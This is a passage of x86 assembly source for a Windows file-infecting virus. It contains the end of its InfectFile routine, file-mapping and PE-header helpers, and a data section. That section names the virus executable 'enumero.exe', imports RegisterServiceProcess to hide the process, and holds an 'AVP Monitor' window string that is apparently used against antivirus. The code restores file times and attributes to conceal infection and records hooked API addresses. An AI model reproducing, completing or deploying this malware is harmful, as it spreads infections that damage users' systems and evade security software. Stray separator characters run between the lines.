abort_infect:
|
||
call unmap ;unmap if aborted infection
|
||
unmapped:
|
||
|
||
push offset creation
|
||
push offset lastaccess
|
||
push offset lastwrite
|
||
push handle
|
||
call SetFileTime ; restore orginal file time
|
||
|
||
push handle
|
||
call CloseHandle
|
||
|
||
mov eax,oldattrib ; get original attribs
|
||
push eax
|
||
mov eax,fnameptr
|
||
push eax
|
||
call SetFileAttributesA ; restore the original attributes
|
||
|
||
ret
|
||
InfectFile endp
|
||
|
||
GetPEHeader proc
|
||
mov esi,[eax+3Ch] ; where PE hdr pointer is
|
||
add esi,eax
|
||
ret
|
||
GetPEHeader endp
|
||
|
||
; create_mapping - create file mapping of [handle]
|
||
; entry: ecx=mapping size
|
||
;
|
||
create_mapping proc
|
||
push ecx ; save mapping size
|
||
|
||
push 0 ; high fsize storage, not needed
|
||
push handle ; file handle
|
||
call GetFileSize
|
||
call test_error
|
||
jc create_abort
|
||
mov fsize,eax
|
||
|
||
pop ecx ; restore map size
|
||
|
||
push 0 ; no map name
|
||
add eax,ecx
|
||
push eax ; low size+vs
|
||
push 0 ; high size
|
||
push PAGE_READWRITE ; read&write
|
||
push 0
|
||
push handle
|
||
call CreateFileMappingA
|
||
call test_error
|
||
jc create_abort
|
||
mov maphandle,eax
|
||
|
||
push 0 ; # of bytes, 0= map entire file
|
||
push 0 ; file offset low
|
||
push 0 ; file offset high
|
||
push FILE_MAP_WRITE ; access flags - read&write
|
||
push eax ; handle
|
||
call MapViewOfFile
|
||
call test_error
|
||
jc create_abort
|
||
mov map_ptr,eax
|
||
|
||
create_abort:
|
||
ret
|
||
create_mapping endp
|
||
|
||
|
||
; test_error - test API for an error return
|
||
; entry: eax=API return
|
||
; returns: carry if error
|
||
;
|
||
test_error proc
|
||
cmp eax,-1
|
||
jz api_err
|
||
or eax,eax
|
||
jz api_err
|
||
clc
|
||
ret
|
||
api_err:
|
||
stc
|
||
ret
|
||
test_error endp
|
||
|
||
;--------------------------------------------------------------
|
||
; unmap file - Unmap view of file
|
||
;
|
||
unmap:
|
||
|
||
push map_ptr
|
||
call UnmapViewOfFile
|
||
push maphandle
|
||
call CloseHandle
|
||
ret
|
||
|
||
;--------------------------------------------------------------
|
||
; sets eax on alignment of ecx
|
||
;
|
||
align_fix:
|
||
xor edx,edx
|
||
div ecx ; /alignment
|
||
or edx,edx ; check for remainder
|
||
jz no_inc
|
||
inc eax ; next alignment
|
||
no_inc:
|
||
mul ecx ; *alignment
|
||
ret
|
||
|
||
;-------------------------------------------------------------
|
||
; copy string
|
||
; pass edi->destination esi->source
|
||
; we could use lstrcat for this purpose, but oh well
|
||
;
|
||
|
||
copy_str:
|
||
mov ecx,0FFh ; no bigger than 256
|
||
copystr:
|
||
lodsb
|
||
stosb
|
||
cmp al,0
|
||
jz copystrdone
|
||
loop copystr
|
||
copystrdone:
|
||
ret
|
||
|
||
APIs: ; structure of ptrs to our API names
|
||
dd offset CreateFile
|
||
dd offset CloseHandleS
|
||
dd offset WriteFileS
|
||
dd offset CloseFile
|
||
dd offset GetSysDir
|
||
dd offset DeleteFile
|
||
dd offset CreateProc
|
||
dd offset GetStartUp
|
||
dd offset GlobalAlloc
|
||
dd offset GlobalFree
|
||
dd 0
|
||
|
||
; our API names
|
||
CreateFile db 'CreateFileA',0
|
||
CloseHandleS db 'CloseHandle',0
|
||
WriteFileS db 'WriteFile',0
|
||
CloseFile db 'CloseHandle',0
|
||
GetSysDir db 'GetSystemDirectoryA',0
|
||
DeleteFile db 'DeleteFileA',0
|
||
CreateProc db 'CreateProcessA',0
|
||
GetStartUp db 'GetStartupInfoA',0
|
||
GlobalAlloc db 'GlobalAlloc',0
|
||
GlobalFree db 'GlobalFree',0
|
||
|
||
API_Struct: ; structure for API VAs
|
||
CreateFileAPI dd 0
|
||
CloseHandleAPI dd 0
|
||
WriteFileAPI dd 0
|
||
CloseFileAPI dd 0
|
||
GetSysDirAPI dd 0
|
||
DeleteFileAPI dd 0
|
||
CreateProcessAPI dd 0
|
||
GetStartupInfoAPI dd 0
|
||
GlobalAllocAPI dd 0
|
||
GlobalFreeAPI dd 0
|
||
|
||
APIStructEnd:
|
||
virusname db '\enumero.exe',0
|
||
tempname db '\temp.tmp',0
|
||
RegisterService db 'RegisterServiceProcess',0
|
||
GetWindowModuleFileName db 'GetWindowModuleFileNameA',0
|
||
EnumPModules db 'EnumProcessModules',0
|
||
GetMFileName db 'GetModuleFileNameExA',0
|
||
EnumProcessModules dd 0
|
||
GetModuleFileNameEx dd 0
|
||
GetWindowModuleFileNameA dd 0
|
||
kernel32 db 'KERNEL32.DLL',0
|
||
user32 db 'USER32.DLL',0
|
||
psapi db 'PSAPI.DLL',0
|
||
avp_wndname db 'AVP Monitor',0
|
||
sinfo:
|
||
curpos dd 0 ; ptr to cur member of array
|
||
pnames dd 0 ; ptr to process names
|
||
totalexe dd 0
|
||
totalwnd dd 0
|
||
testnums dd 0 ; bool
|
||
testednums dd 0
|
||
curidx dd 0
|
||
icnt dd 0
|
||
re_enum db 0
|
||
bytesread dd 0
|
||
handle dd 0 ; file handle
|
||
pinfo: ; process information
|
||
hprocess dd 0
|
||
pid dd 0
|
||
maphandle dd 0
|
||
map_ptr dd 0
|
||
nameptrtbl dd 0
|
||
fsize dd 0
|
||
adrtbl dd 0
|
||
oldattrib dd 0 ; stored file attribs
|
||
ourAPIptr dd 0
|
||
curAPIptr dd 0
|
||
ordinaltbl dd 0
|
||
kernelbase dd 0
|
||
originalRVAptr dd 0 ; RVA ptr to our hooked API RVA
|
||
msgstruct:
|
||
originalRVA dd 0 ; orginal RVA of our hooked API
|
||
diffpsize dd 0
|
||
oldchksum:
|
||
originalvsize dd 0
|
||
lastobjimageoff dd 0
|
||
creation dd 0,0 ; our file time structures
|
||
lastaccess dd 0,0
|
||
lastwrite dd 0,0
|
||
fnameptr dd 0 ; ptr to file name we're inf
|
||
spawnfile dd 0
|
||
virus_mem dd 0
|
||
phandle dd 0
|
||
newpsize dd 0
|
||
mod_array dd 0 ; ptr to allocated module array
|
||
del_buf dd 0 ; ptr to allocated delete buf memory
|
||
vend:
|
||
end vstart
|
||
ends
|
||
|
||
|
||
|